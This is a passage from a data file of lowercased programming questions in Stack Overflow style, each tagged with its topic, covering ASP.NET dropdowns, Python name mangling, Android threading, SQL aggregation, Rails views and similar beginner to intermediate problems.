ds.tables[0].rows)             {                 string tapeid = convert.tostring( dr[ id ].tostring());                 string tapename = dr[ t_code ].tostring();                 tape.add(new ajaxcontroltoolkit.cascadingdropdownnamevalue(tapename  tapeid));             }             return tape.toarray();         }         catch (exception e)         {               string message = e.message;             httpcontext.current.response.write(e.message);         } } [scriptmethod] [webmethod] public ajaxcontroltoolkit.cascadingdropdownnamevalue[] filltapecode(string knowncategoryvalues  string category) {     try     {       string tapeid;         stringdictionary tape = ajaxcontroltoolkit.cascadingdropdown.parseknowncategoryvaluesstring(knowncategoryvalues);         tapeid = convert.tostring(tape[ tape ]);         con.open();         cmd = new sqlcommand( select * from dd_issue where tapetype=   + tapeid +      con);         cmd.parameters.addwithvalue( id   tapeid);         cmd.executenonquery();         sda = new sqldataadapter(cmd);         ds = new dataset();         sda.fill(ds);         con.close();         list&lt;ajaxcontroltoolkit.cascadingdropdownnamevalue&gt; code = new list&lt;ajaxcontroltoolkit.cascadingdropdownnamevalue&gt;();         foreach (datarow dr in ds.tables[0].rows)         {             string tapecodeid = convert.tostring(dr[ id ].tostring());             string tapecodename = dr[ fill ].tostring();             code.add(new ajaxcontroltoolkit.cascadingdropdownnamevalue(tapecodename  tapecodeid));         }         return code.toarray();     }     catch(exception e)     {         string message = e.message;         httpcontext.current.response.write(e.message);     } } </code></pre>   .aspx page:-   <pre><code>&lt;asp:dropdownlist id= ddltapetype  runat= server  width= 140px                                                                           height= 22px &gt;                                                                     &lt;/asp:dropdownlist&gt;                                                                     &lt;ajaxtoolkit:cascadingdropdown id= cascadingddtape  runat= server  category= tape                                                            targetcontrolid= ddltapetype  loadingtext= [loading ...]                                                             prompttext= please select a tape                                                   servicepath= tapewebservice.asmx  servicemethod= filltape &gt;                                                                      &lt;/ajaxtoolkit:cascadingdropdown&gt;                                                                   &lt;/td&gt;                                                                 &lt;td class= style31 &gt;                                                                     &amp;nbsp;&lt;asp:dropdownlist id= ddltapecode  runat= server                                                                           height= 22px                                                                           width= 317px  &gt;                                                                     &lt;/asp:dropdownlist&gt;                                                                       &lt;ajaxtoolkit:cascadingdropdown id= cascadingddcode  runat= server                                                           targetcontrolid= ddltapecode  loadingtext= [loading ...]                                                          prompttext= please select a code  emptytext= no records  servicepath= tapewebservice.asmx                                                           servicemethod= filltapecode  category= code  parentcontrolid= ddltapetype &gt;                                                                     &lt;/ajaxtoolkit:cascadingdropdown&gt; </code></pre>,asp.net
access to mangled name within function works  but outside function not  there is this code:   <pre><code>class a:   __x = 2    def f(self):     print(dir(self)) # there is attribute _a__x  but not __x     print(self.__x) # prints 2     print(self._a__x) # prints 2  x = a() x.f() print(x.__x) # attributeerror:  a  object has no attribute  __x  </code></pre>   why access to <code>__x</code> variable is allowed inside method like <code>self.__x</code> but not outside this method  i know that name with two underscores is mangled  but the question is what is special so that this unmangled version works inside the method altough <code>self</code> has only mangled version as attribute.    edit:    i noticed that if some attribute is added to the class with name of form <code>_a__name</code> for example:   <pre><code>class a:   _a__y = 3    def f(self):     print(self.__y) # prints 3     print(self._a__y) # prints 3  x = a() x.f() </code></pre>   then inside class it seems that when for example interpreter looks for variable <code>__y</code> he can take also <code>_a__y</code> name  so it seems that prefix <code>_a</code> works something similar like scope resolution in c++ like <code>a::</code>. but i am not sure about details how it works.    so the original question can be extended why in this case <code>self.__y</code> has the same effect as <code>self._a__y</code> altough only <code>_a__y</code> is defined,python
why is my javascript running infinitely   i m writing a script in google calendar in the console to add all the events from a school calendar to my own calendar. i essentially grab all events on a page  click on them  then on the event page  i want to click add to calendar  then go back  and finish clicking them all on a page.     however  my chunk of code seems to be running infinite times   <pre><code>var friendchecklist = document.getelementsbyclassname( evt-lk );  console.log(friendchecklist.length)  for (var i = 0; i &lt; friendchecklist.length; i++)  {     friendchecklist[i].click();     var possiblereturn = document.getelementsbyclassname( goog-imageless-button );      var backarray = [];     for (var i = 0; i &lt; possiblereturn.length; i++)     {         console.log( came here with some reason );         console.log(possiblereturn.length);         console.log(friendchecklist.length);         var node = possiblereturn[i];         if (node.getattribute( title )== back to calendar ) node.click();     } }; </code></pre>   any idea why this would run infinite times  it s logging  came here with some reason  10 13 repeatedly. 10 being the number ofe vents on the page  13 being the number of  goog-imageless-buttons .,javascript
calculator crash  i am trying to create an app for calculating exam note  when i m pressing calculate and there aren t any decimals it shows an answer but if there are decimals it crash   <pre><code>public class mainactivity extends appcompatactivity {      textview result;     edittext number1   number2  number3  number4  number5  number6;     button calculate;      float result_num;     int num1 num2 num3 num4 num5 num6;      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);          result = (textview)findviewbyid(r.id.result);          number1 = (edittext)findviewbyid(r.id.number1);         number2 = (edittext)findviewbyid(r.id.number2);         number3 = (edittext)findviewbyid(r.id.number3);         number4 = (edittext)findviewbyid(r.id.number4);         number5 = (edittext)findviewbyid(r.id.number5);         number6 = (edittext)findviewbyid(r.id.number6);          calculate = (button)findviewbyid(r.id.calculate);          calculate.setonclicklistener(new view.onclicklistener() {             @override             public void onclick(view v) {                  num1 = integer.parseint(number1.gettext().tostring());                 num2 = integer.parseint(number2.gettext().tostring());                 num3 = integer.parseint(number3.gettext().tostring());                 num4 = integer.parseint(number4.gettext().tostring());                 num5 = integer.parseint(number5.gettext().tostring());                 num6 = integer.parseint(number6.gettext().tostring());                  result_num = ((((num1 + num2 + num3 + num4) / 4) * 20) / 100) + ((((num5 + num6) / 2) * 80) / 100);                 result.settext(string.valueof(result_num));              }         });     } } </code></pre>,android
sum data in sql by a column  i am looking to add a common value.    my table has the following data:   <pre><code>customer:     $ value: 123           100.00 123           100.00 abc           100.00 abc           100.00 </code></pre>   i want it to display as:   <pre><code>customer:  $ value: 123        200.00 abc        200.00 </code></pre>   there are a number of other columns too that contain various different dates etc but they are not relevant here.,sql
format currency in angularjs in ngmodel  i am trying to format currency when the page loads using angularjs. but it doesn t work if i use the filter currency in ngmodel.it seems to work only for {{var |currency}}.    p.s.:i want it to work on ngmodel and i want the currency to be formatted when the page loads.,angularjs
angularjs: use the json file based on user selection  i have multiple json files as my datasource. how to use $http.get() to get the correct json files based on the user selection,angularjs
how to update ui from another thread using handler in android   i am developing android app in which i have to send some data to server and receive some response from server for this i am using asynktask. right now i am getting response in onpostexecute method of asynktask and update ui according to server response in onpostexecute method of asynktask. what i want is to update ui not from onpostexecute method but from another thread using handler to reduce load from main thread.how can i do that kindly tell me .     here is my code of asynktask:-   <pre><code>private class loginattempt extends asynctask&lt;string  void  string&gt; {     @override     protected void onpreexecute() {         super.onpreexecute();         cprogressbar.getinstance().showprogressbar(getactivity()   please wait while logging... );// showing progress ..........     }      @override     protected string doinbackground(string... params) {         getlogindetails();// getting login details from edittext...........         inputstream inputstream = null;         m_ojsonsresponse = new cjsonsresponse();         isfirstlogin = true;         try {             // 1. create httpclient             httpclient httpclient = new defaulthttpclient();             // 2. make post request to the given url             httppost httppost = new httppost(s_szloginurl);             string json =   ;             // 3. build jsonobject             jsonobject jsonobject = new jsonobject();             jsonobject.put( agentcode   s_szmobilenumber);             jsonobject.put( pin   s_szpassword);             jsonobject.put( firstloginflag   m_ologinsession.islogin());             // 4. convert jsonobject to json to string             json = jsonobject.tostring();             // 5. set json to stringentity             stringentity se = new stringentity(json);             // 6. set httppost entity             httppost.setentity(se);             // 7. set some headers to inform server about the type of the content             //  httppost.setheader( accept    application/json );   ///not required             httppost.setheader( content-type    application/json );             // 8. execute post request to the given url             httpresponse httpresponse = httpclient.execute(httppost);             httpentity entity = httpresponse.getentity();             // 9. receive response as inputstream             inputstream = entity.getcontent();             system.out.print( inputstream....  + inputstream.tostring());             system.out.print( response....  + httpresponse.tostring());              statusline statusline = httpresponse.getstatusline();             system.out.print( statusline......  + statusline.tostring());             ////log.d( resp_body   resp_body.tostring());             int statuscode = statusline.getstatuscode();             if (statuscode == 200) {                 // 10. convert inputstream to string                 if (inputstream != null) {                     s_szresult = m_ojsonsresponse.convertinputstreamtostring(inputstream);                 }             } else                 s_szresult =  did not work! ;          } catch (exception e) {             log.d( inputstream   e.getlocalizedmessage());         }         return s_szresult;     }      @override     protected void onpostexecute(final string response) {         super.onpostexecute(response);         new handler(looper.getmainlooper()).post(new runnable() {             @override             public void run() {                 cprogressbar.getinstance().hideprogressbar();// hide progressbar after getting response from server......                 try {                     m_oresponseobject = new jsonobject(response);// getting response from server                      getresponse();// getting response from server ........                  } catch (jsonexception e) {                     e.printstacktrace();                 }             }          });     }      public void getresponse() throws jsonexception {         if (m_oresponseobject.getstring( resultdescription ).equalsignorecase( transaction successful )) {             m_ologinsession.setlogindata(s_szresponsemobile  s_szresponsepassword);             getactivity().getsupportfragmentmanager().begintransaction().replace(r.id.container  new cdealmainlisting()).commit();             ctoastmessage.getinstance().showtoast(getactivity()   you are successfully logged in );         } else if (m_oresponseobject.getstring( resultdescription ).equalsignorecase( agentcode can not be empty )) {             ctoastmessage.getinstance().showtoast(getactivity()   please enter valid mobile number );         } else if (m_oresponseobject.getstring( resultdescription ).equalsignorecase( pin can not be empty )) {             ctoastmessage.getinstance().showtoast(getactivity()   please enter password );         } else if (m_oresponseobject.getstring( resultdescription ).equalsignorecase( invalid pin )) {             ctoastmessage.getinstance().showtoast(getactivity()   please enter correct password );         } else if (m_oresponseobject.getstring( resultdescription ).equalsignorecase( subscriber/agent blocked due to wrong attempts )) {             ctoastmessage.getinstance().showtoast(getactivity()   you are blocked as you finished your all attempt );         } else if (m_oresponseobject.getstring( resultdescription ).equalsignorecase( connection not available )) {             ctoastmessage.getinstance().showtoast(getactivity()   connection lost ! please try again );         } else if (m_oresponseobject.getstring( resultdescription ).equalsignorecase( subscriber/agent not found )) {             ctoastmessage.getinstance().showtoast(getactivity()   user not found ! kindly regiter before login );         } else if (m_oresponseobject.getstring( resultdescription ).equalsignorecase( otp not verify )) {             ctoastmessage.getinstance().showtoast(getactivity()   otp not verify ! kindly generate otp on sign up );         }     } </code></pre>,android
pass derived class to function defined to take base class arguments  if i have a base class and a derived class  such as:   <pre><code>class base { protected:   int a; public:   void seta(int);   void geta(int); }  class derived : public base { private:   int b; public:   void dothing(); }    </code></pre>   then a third  additional class that uses the base class:   <pre><code>class otherclass { public:   base doclassthing(base*  base*); } </code></pre>   what s the best way to pass the derived class to a function that s defined to return a base class and take the base class as an argument. like this:   <pre><code>derived *x = new derived(); derived *y = new derived();  doclassthing(x  y); </code></pre>   would i pass the objects with a type cast  or should i type cast the objects when they re first created,c++
upside down text in browsers and applications  check out the answer to <a href= https://serverfault.com/a/384423 >this</a> question. how did the inverted text appear as text  in other words  i was expecting it to be an image.,html
why is my code skipping this loop   i apologize in advance for my noob question. my first ever experience with programming has been with my current course. on to the question     why is my code skipping the second while loop. when i choose p or p for my input  i m still getting asked for the inputs pertaining to the first while loop and not the second. e.g minutes instead of day minutes/night minutes.   <pre><code> #include &lt;iostream&gt;     #include &lt;iomanip&gt;     using namespace std;      int main()     {         char service;         int number;         int minutes;         int dayminutes;         int nightminutes;         double bill;         double const reg_fee = 10.00;         double const prem_fee = 25.00;         double const reg_min = 0.20;         double const prem_day = 0.10;         double const prem_night = 0.05;          cout &lt;&lt;  please enter your account number:  ;         cin &gt;&gt; number;         cout &lt;&lt;  please enter your service type (regular or premium):  ;         cin &gt;&gt; service;          while (service ==  r  ||  r )     {             cout &lt;&lt;  how many minutes have been used for this service :  ;             cin &gt;&gt; minutes;              if (minutes &lt; 50)             {                 bill = reg_fee;                 cout &lt;&lt; fixed &lt;&lt; showpoint &lt;&lt; setprecision(2);                 cout &lt;&lt;  the account number entered was:   &lt;&lt; number &lt;&lt;  .  &lt;&lt; endl;                 cout &lt;&lt;  the service type entered was:   &lt;&lt; service &lt;&lt;  .  &lt;&lt; endl;                 cout &lt;&lt;  you used:   &lt;&lt; minutes &lt;&lt;   minutes.  &lt;&lt; endl;                 cout &lt;&lt;  your bill is $  &lt;&lt; bill &lt;&lt;  .  &lt;&lt; endl;             }             else             {                 bill = ((minutes - 50) * reg_min) + reg_fee;                 cout &lt;&lt; fixed &lt;&lt; showpoint &lt;&lt; setprecision(2);                 cout &lt;&lt;  the account number entered was:   &lt;&lt; number &lt;&lt;  .  &lt;&lt; endl;                 cout &lt;&lt;  the service type entered was:   &lt;&lt; service &lt;&lt;  .  &lt;&lt; endl;                 cout &lt;&lt;  you used:   &lt;&lt; minutes &lt;&lt;   minutes.  &lt;&lt; endl;                 cout &lt;&lt;  your bill is $  &lt;&lt; bill &lt;&lt;  .  &lt;&lt; endl;             }         return 0;     }         while (service ==  p  ||  p )     {             cout &lt;&lt;  how many minutes were used during the day :  ;             cin &gt;&gt; dayminutes;             cout &lt;&lt;  how many minutes were used during the night :  ;             cin &gt;&gt; nightminutes;              if (dayminutes &gt; 75)             {                 bill = ((dayminutes - 75) * prem_day) + prem_fee;             }             if (nightminutes &gt; 100)             {                 bill = ((nightminutes - 100) * prem_night) + prem_fee;                 bill = bill + prem_fee;                 cout &lt;&lt; fixed &lt;&lt; showpoint &lt;&lt; setprecision(2);                 cout &lt;&lt;  the account number entered was:   &lt;&lt; number &lt;&lt;  .  &lt;&lt; endl;                 cout &lt;&lt;  the service type entered was:   &lt;&lt; service &lt;&lt;  .  &lt;&lt; endl;                 cout &lt;&lt;  you used:   &lt;&lt; dayminutes + nightminutes &lt;&lt;   minutes.  &lt;&lt; endl;                 cout &lt;&lt;  your bill is $  &lt;&lt; bill &lt;&lt;  .  &lt;&lt; endl;             }              else             {                 cout &lt;&lt;  you have entered an invalid service code. ;             }         return 0;     }          return 0;     } </code></pre>,c++
objc : difference between self.obj and obj  what is the difference between <code>self.obj</code> and <code>obj</code> in objective c     i m asking this because when i write <code>[view method]</code> it s fine    but when trying <code>[self.view method]</code> it s an infinite loop    in fact the code is the following:    <pre><code>//---create a uiview object---  uiview *view = [[uiview alloc] initwithframe:[uiscreen mainscreen].applicationframe];  view.backgroundcolor = [uicolor lightgraycolor];  uibutton *button = [uibutton buttonwithtype:uibuttontyperoundedrect];  [view addsubview:button];  self.view = view; </code></pre>   the problem is that <code>[self.view addsubview:button]</code> gives an infinite loop.,objective-c
when and where single quotes are used in sql   when and where single quotes are used in sql,sql
rails 4 - how to show name instead of id in index view   rails newbie here. i want my questions/view/index to show the name of the language associated with a question  rather than the language_id.    my question model is:   <pre><code>class question &lt; activerecord::base   validates :phrase  presence: true   has_many :answers  dependent: :delete_all   belongs_to :language end  class createquestions &lt; activerecord::migration   def change     create_table :questions do |t|       t.string :phrase       t.string :language        t.timestamps     end   end end  class addlanguageidtoquestions &lt; activerecord::migration   def change     add_column :questions  :language_id  :integer   end end </code></pre>   my language model is:   <pre><code>class language &lt; activerecord::base end  class createlanguages &lt; activerecord::migration   def change     create_table :languages do |t|       t.string :name        t.timestamps     end   end end </code></pre>   in my questions controller:   <pre><code>def index   @questions = question.all   @language = language.find(@questions.language_id) end </code></pre>   in the questions/_form.html.erb:   <pre><code>&lt;p&gt;   &lt;%= f.label :language_id %&gt;&lt;br&gt;   &lt;%= f.select :language_id  @languages.map { |l| [l.name  l.id] }  {:prompt =&gt;  select language } %&gt; &lt;/p&gt;  </code></pre>   and in the questions/view/index.html.erb:   <pre><code>&lt;% @questions.each do |question| %&gt;     &lt;li&gt; &lt;%= link_to question.phrase  question %&gt;  in &lt;%= question.language.name %&gt; %&gt;&lt;/li&gt; &lt;% end %&gt; </code></pre>   the error i keep getting  despite trying several variations of  question.language.name  (which works just fine in the show view) is  undefined method  language_id  in the index view.    any help would be very much appreciated.,ruby-on-rails
rails 5 - image serving throws  the image … cannot be displayed because it contains errors”  i m designing a system that contains the following two ror apps: an <strong>imagesrepo</strong>  for serving images (and other info); and an <strong>ui</strong>  for building the webpages to be shown to the user.    <strong>scenario:</strong>    <strong>imagesrepo</strong> have a controller with an endpoint to serve an image  based in a given id  and works as api only.   <pre><code># imagesrepo app # app/controllers/images_controller.rb class imagescontroller &lt; applicationcontroller    # @my_image is obtained in setup    def image     logger.info( serving image #{ @my_image.image_path }.jpg )     path =  public/images/#{ @my_image.image_path }.jpg      send_file( path             :disposition =&gt;  inline              :type =&gt;  image/jpeg              :x_sendfile =&gt; true     )   end end  # config/routes.rb get  /objects/:id/image   to:  images#image  </code></pre>   <strong>ui</strong> have the templates to build the webpages to the user  and also a controller to serve images  to where the templates are linking to obtain images. this controller will make a request to the <strong>imagesrepo</strong> to get the intended image.   <pre><code>## ui app # app/controllers/images_controller.rb class imagescontroller &lt; applicationcontroller    def serve     data = open( http://address.to.imagesrepo/objects/#{params[:image_id]}/image )     send_data data  type:  image/jpeg   disposition:  inline    end end  # config/routes.rb get  serve_image/:image_id   to:  images#serve   # views/something/home.html.erb # only an extract of the template   &lt;%=  image_tag( /serve_image/#{image_id}   class:  service-image ) %&gt; </code></pre>   <strong>problem:</strong>    with this design  the webpage in the browser can t load the images. i can see in the logs from the imagesrepo that it receives the request  and that it serves the image properly (if i try to access the imagesrepo directly through the browser i get the intended image). but by making the request to the controller in the ui  i get this error:   <blockquote>    the image  <a href= http://localhost:3000/serve_image/1  rel= nofollow noreferrer >http://localhost:3000/serve_image/1</a>  cannot be displayed becouse it containes errors.  </blockquote>   <strong>question:</strong>    what am i doing wrong here  is this the best way to get images from the imagesrepo (making the request through the ui app)  or should i have the images in the public folder of the imagesrepo and access directly to them (ex: accessing <code>http://address.to.imagesrepo/images/my_image.jpg</code> in the <code>image_tag</code> in the template),ruby-on-rails
json request send <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/5150833/android-send-request-using-json-and-get-response-from-java >android send request using json and get response from java</a>    </blockquote>     images on server will be load on the imageview through android app.for we are using json how to send request to server,android
iphone map application not respecting spn  i am passing a link on the iphone with google map instructions:    <a href= http://maps.google.com/ q=cabelas&amp;mrt=loc&amp;sll=30.444064 -97.813874&amp;spn=0.006313 0.01133  rel= nofollow noreferrer >http://maps.google.com/ q=cabelas&amp;mrt=loc&amp;sll=30.444064 -97.813874&amp;spn=0.006313 0.01133</a>    in a browser  this works great  centering the map in my area and bringing up the store near us.  but on the iphone  when the internal maps application intercepts the call  i get a view of the us  most of the params are being ignored.    can anyone spot any reason for this  or have a reason,iphone
#include  colour.h  fatal error in c++  i am trying to code something similar to conway s game of life. everything seems fine but i having a fatal error with #include  colour.h . the code is in c++ and i know this api belongs to c. i dont know that if it is going to make a difference or i have to use another api for c++. the reason is on my desktop computer i dont have to change anything and program runs perfect. but when i run the program on my other computer it gives the fatal error with the first line of the code(#include  colour.h ). i dont know why it gives error.     see <a href= http://en.wikipedia.org/wiki/conway%27s_game_of_life  rel= nofollow >http://en.wikipedia.org/wiki/conway s_game_of_life</a>   <pre><code> #include  colours.h   #include &lt;sstream&gt;   //  #include &lt;iomanip&gt;   // setw()  #include &lt;windows.h&gt; // setconsoletitle()  sleep()  #include &lt;cstdlib&gt;   // rand()  seed()  #include &lt;iostream&gt;  // cout   using namespace std;   // our data and constants  const char life  =  l ;  const char blank =  . ;   const int n = 20;  const int m = 20;  const int ngrid = n*m;  char world[ngrid];    // will simulate 2-dimenisonal array.   int loc(int i  int j)  {    return i*m+j*sizeof(char);  }   void gotoxy(int x  int y  char c)  {   world[ loc(x y)] = c;  }     // our functions (ie  tools) that work on our data   void fillworldwith(char w[]  const int n  const int m  const char stuff){   for(int i=0; i&lt;n; i++)   for(int j=0; j&lt;m; j++)   w[loc(i j)]=stuff;  }   void displayworld(char *w  const int n  const int m){  for(int i=0; i&lt;n; i++)  {   for(int j=0; j&lt;m; j++)   cout &lt;&lt; setw(2) &lt;&lt; w[loc(i j)];   cout &lt;&lt; endl;  }  }    // used in applyrules as a buffer to update world.   void copyworld(char dest[]  char src[]  const int n  const int m){      for(int i=0; i&lt;n; i++)      for(int j=0; j&lt;m; j++)       dest[loc(i j)]= src[loc(i j)];   }   int main() {   small_rect windowsize;                              // windows   handle hconsole = getstdhandle(std_output_handle);  // windows    windowsize = {0  0  200  200};   setconsolewindowinfo(hconsole  true  &amp;windowsize); // windows   setconsoletitle( game of life );                   // windows    system( cls );               // clear the console    stringstream ss;  // trick to combine string and numbers   ss &lt;&lt;  color   &lt;&lt; black &lt;&lt; yellow;    // objects are fun to use.   system( ss.str().c_str() );   // change console colour    fillworldwith(world  n  m  blank);     // fill whole world with blanks   displayworld(world  n  m);   int x=0  y =0;    for(int time=0; time&lt;100; time++){  // each loop  considered time.    system( cls );    displayworld(world  n  m);              // display world    gotoxy(x  y  blank);    x= (x+1)%n;    y= (y+1)%m;    gotoxy(x  y  life);    sleep(50);    }    return 0;  } </code></pre>,c++
find current location by using html in iphone  when i send email which contain destination address when user will click on that address he should get directions from  his current location to destination address on google maps.    i tried to do using following code    <strong><a href= http://maps.google.com/maps daddr=destinationaddress&amp;saddr=current+location&amp;view=map&amp;z=12  rel= nofollow noreferrer >http://maps.google.com/maps daddr=destinationaddress&amp;saddr=current+location&amp;view=map&amp;z=12</a> </strong>    but current location word does not worked. how can we find user s current location in iphone by using only html and google map. can we pass any parameter to google map so it can track user s current location.  any one have any idea     kinldy help me.,iphone
why do i have an endless loop and how do i do it differently   just learn .. and i can t understand what i did wrong i just try to count the number of char in my string.     the while loop does not end - endless loop     this is the code    <pre><code>int main() {     char buffer[255] = { 0 };     sprintf_s(buffer   hello world );     char* ptr = buffer;     int count = 0;     while (ptr != null)     {         count++;         ptr++;     }      std::cout &lt;&lt; count &lt;&lt; std::endl;     std::cin.get(); } </code></pre>   btw - i don t want to use strlen or some build in function.,c++
css rule mysteriously vanishes  in <a href= http://new.und.edu/  rel= nofollow noreferrer >this page</a>  i have the following rule in <a href= http://new.und.edu/_files/scripts/ui.css  rel= nofollow noreferrer >ui.css</a>:   <pre><code>.cfl #home-columns .col li:last-child {     position: absolute;     bottom: 0px; } </code></pre>   it s supposed to move the  more  link at the bottom of each of the four columns to the bottom of the shared container.    the problem is that the rule is being discarded by browsers.  if you look at the live css through firebug (or chrome s dev tools  or ie s  or opera s dragonfly)  the rule just isn t there.  yet if i enter the <em>exact</em> same rule directly in firebug  it works fine.    i ran the css file through the w3c validator (<a href= http://jigsaw.w3.org/css-validator/validator uri=http%3a%2f%2fnew.und.edu%2f_files%2fscripts%2fui.css&amp;profile=css3&amp;usermedium=all&amp;warning=1&amp;vextwarning=&amp;lang=en  rel= nofollow noreferrer >results</a>) and with the exception of a bunch of vendor-prefixed properties  everything checks out.    color me puzzled.  what am i missing     edit:    at @jason gennaro s suggestion  i tried putting it in a different css file and loading that. it works fine when i put it in another css file.  there s just something weird going on with ui.css.  so  i could fix my problem by adding yet another stylesheet.  i d really rather avoid that  though  since the site already has fourteen css files  which is moderately ridiculous.    edit 2:    <img src= https://i.stack.imgur.com/kjpfu.png  alt= screenshot of three file states  further description below >    here s a screenshot of the various states  showing the file as viewed directly in a browser  the css as shown in chrome s live developer tools view  and the file as downloaded via wget from an off-site (non-web-server) linux box.    edit 3:    the problem was that a load balancer had a cached copy of the stylesheet for https only. so the fix is to get the stupid load balancer fixed.,css
add element to table by jquery  i have one table with a row. and i want to add the column to the row with the possible condition of my script with jquery. this is my sample code :   <pre><code>&lt;script type= text/javascript  language= javascript &gt;   function loadcontent() {     var $parent = $( #productlist ).empty(); //empty div     $parent.append( &lt;br /&gt;&lt;table id= mytable  cellpadding= 0  cellspacing= 0  width= 100%  class= productlist  style= margin-left:4px; padding-top:2px; &gt;&lt;tbody&gt;&lt;/tbody&gt;&lt;/table&gt; );     if (k % 3 == 0 &amp;&amp; k == 0) {         var $table = $parent.find( #mytable &gt; tbody );         var htmlrow = [                        &lt;tr align= center &gt;                          &lt;td align= center  id= colunm-product &gt;                          //some data                         &lt;/td&gt; ];         $table.append(htmlrow.join(  ));     } else if ((k % 3 == 0) &amp;&amp; (k != 0)) {        //add more &lt;td&gt;     } else {        //close &lt;/tr&gt;     } &lt;/script&gt; </code></pre>   can i create <code>&lt;tr&gt;</code> and add more <code>&lt;td&gt;</code>  when in the possible condition   i will append <code>&lt;/tr&gt;</code>     any comment please,jquery
controllers relations to mailers  how does a mailer have access to the instance variables of a controller       for example how does the mailer have access to an <code>@user</code> from the <code>users_controller</code>       would the <code>users_controller</code> need to call the <code>mailer</code> for the <code>mailer</code> to be provided access to the controllers variable       i m just extremely confused on the relation <code>mailers</code> have to <code>controllers</code>  i.e.     1) how a controller can access/call a mailer.<br> 2) how a mailer has access to a controllers instance variables.,ruby-on-rails
how do i count top poster on specific category in mysql  current db for <code>update_log</code>   <pre><code>id   catname  userid ----------------------------- 1    book     2 2    book     2 3    book     1 4    car      1 5    car      2 6    car      3 7    car      1 8    house    2 9    house    1 10   house    1 </code></pre>   what is the correct statement to count <code>catname</code> and <code>userid</code> then group by <code>catname</code> and <code>userid</code>   <pre><code>select      catname          userid      count(catname) as categoryname      count(userid) as mostuser        from update_log          group by catname         order by count(catname) desc </code></pre>   i want the result should be like this   <pre><code>category name  most posted by ----------------------------- book           2 car            1 house          1 </code></pre>,mysql
camera button (shutter) icon + iphone sdk  can we change the shutter button icon on a camera view,iphone
slash character ignored when send query string for asp.net <pre><code>responsehelper.redirect( popup.aspx file=  + logiclayer.manualpath + _ddlplcs.selectedvalue.tostring() +  \\  + _plcrow[0][0].tostring()   _page    menubar=0 width=100 height=100 ); </code></pre>   in the second page :   <pre><code>if (request.querystring[ file ] != null)         {             logiclayer.viewmanual(request.querystring[ file ].tostring());         } </code></pre>   i found that slash <code>(\)</code> characters is removed from the file path    are there any idea,asp.net
c# - using regular expression to get data from html page  i want to try to scrape a website that gives proxies: <a href= https://www.free-proxy-list.net/  rel= nofollow noreferrer >https://www.free-proxy-list.net/</a>    here is what i tried:   <pre><code>private void button1_click(object sender  eventargs e)     {         webclient wc = new webclient();         string website = wc.downloadstring( https://www.free-proxy-list.net/ );          matchcollection mc = regex.matches(website  @ ^\\d{1 4}+[.]\\d{1 4}+[.]\\d{1 4}[.]\\d{1 4}+ );          foreach (match m in mc)             richtextbox1.appendtext(m.tostring());     } </code></pre>   when i click the button i get error  i tried to search why this happen but i couldn t find any solution..    sorry for my english :(,c#
be notified when an activity s size is going to change  and when it has changed  can i be notified of the following events for an activity:   <ul> <li>screensizewillchange</li> <li>screensizedidchange</li> </ul>   i realize that i can probably override the main view s <code>onsizechanged()</code> and be notified when the view has changed  but how can i be notified when it s about to change,android
php fatal error: call to undefined function parallelevents() in php  what i need:    i m using call by value to pass the data in another functions.    step 1. i tried to pass value like this :-   <pre><code>    parallelevents( $data[ data ][ venue ][ venue_id ] $data[ data ][ event ][ event_startdate ] $data[ data ][ event ][ event_enddate ]); </code></pre>   and call in function    <pre><code>     parallelevents($vanueid $startdate $enddate)      {    echo  test ;      }     output: 500  </code></pre>   step 2. i tried to call like this.   <pre><code> call_user_func_array(array($this   parallelevents )     array($data[ data ][ venue ][ venue_id ]   $data[ data ][ event ][ event_startdate ]   $data[ data ][ event ][ event_enddate ])); </code></pre>   call like this   <pre><code>public function parallelevents($venueid $startdate $enddate) {     echo $venueid;  } </code></pre>   output: ok     step 3. now using function in another function.   <pre><code>public function aboutevent() {    parallelevents($venueid $startdate $enddate);  } </code></pre>   output : php fatal error:  call to undefined function parallelevents()    please  someone suggest where i m doing wrong.    i need to pass value in another function.,php
how to prevent tab change while giving online test  i had created an online test application. in which i have to give a functionality that is  if some one changes its browser tab or minimize its window test will get submitted.    i checked on google.their i saw onchange and onblur event but i am unable to locate code for this.    will you guys please share your opinion on this and can share code as well.    thanks  mayur nabeda,javascript
oo application layer design question  would it be correct to assume that a controller class is the same as a service class in the application service layer. e.g. customerservice is the same as customercontroller,.net
how to open application done by .net 1.1 frame work by 2010   in my company we have same solution but done in different version of .net frame works. currently my pc is having visual studio 2010 (4.0 frame work). my boss asked me to go through a code done by frame work 1.1 and find some logic (including execution the code). is there a way to open that application by visual studio 2010 without do any modification (by 1.1 frame work)however i saw a way to change the target frame work by ide  but didn’t see frame work 1.1 :(,.net
rotate background resource imageview  i m create imageview and use matrix to rotate . but backround not rotate espouse image.    i m backround rotate image. help me   <pre><code>         bitmap mybitmap = bitmapfactory.decoderesource(getresources()       r.drawable.a);      display d = getwindowmanager().getdefaultdisplay();      int x = d.getwidth();      int y = d.getheight();      imageview img1 = (imageview) findviewbyid(r.id.img1);      bitmap scaledbitmap = bitmap.createscaledbitmap(mybitmap  y  x       true);      matrix matrix = new matrix();      matrix.postrotate(-45); // anti-clockwise by 90 degrees      bitmap rotatedbitmap = bitmap      .createbitmap(scaledbitmap  0  0  scaledbitmap.getwidth()       scaledbitmap.getheight()  matrix  true);      img1.setimagebitmap(rotatedbitmap);      img1.setbackgroundresource(color.white); </code></pre>,android
concise way of get matching element in list  i have a list that looks like   <pre><code>[{ name :  red    test :4} ... { name :  reded    test :44}]` </code></pre>   i have a name (for example: <code>reded</code>) and i want to find the dictionary in the list above that has <code>name</code> in the dictionary set to <code>reded</code>. what is a concise way of doing so     my attempts look something similar to    <pre><code>x = [dict_elem for dict_elem in list_above if dict_elem[ name ]==reded] </code></pre>   then i do    <pre><code>final_val = x[0] </code></pre>   if the name gets matched. this can also be done with a <code>for loop</code> but it just seems like there is a simple one-liner for this. am i missing something,python
android: how to add a tab bar to the existing app  i am trying to add tab bar to my existing app. i have divided all my activities into 2 groups  each group of activities has the navigation controls. i want to place these activities under corresponding group-1  group-2 tabs.    what is the best way of doing this.    thanks  venkat papana,android
how to implement gridview in iphone app which is compatible with ios 5 and ios 6  i have implement grid view using uicollectionview which is working fine with ios 6. but when i run it with ios 5  app gets crashed. i searched for a grid view implementation which can be compatible with both version but could not find solution.    please suggest me how can i implement such grid view.    thanks,iphone
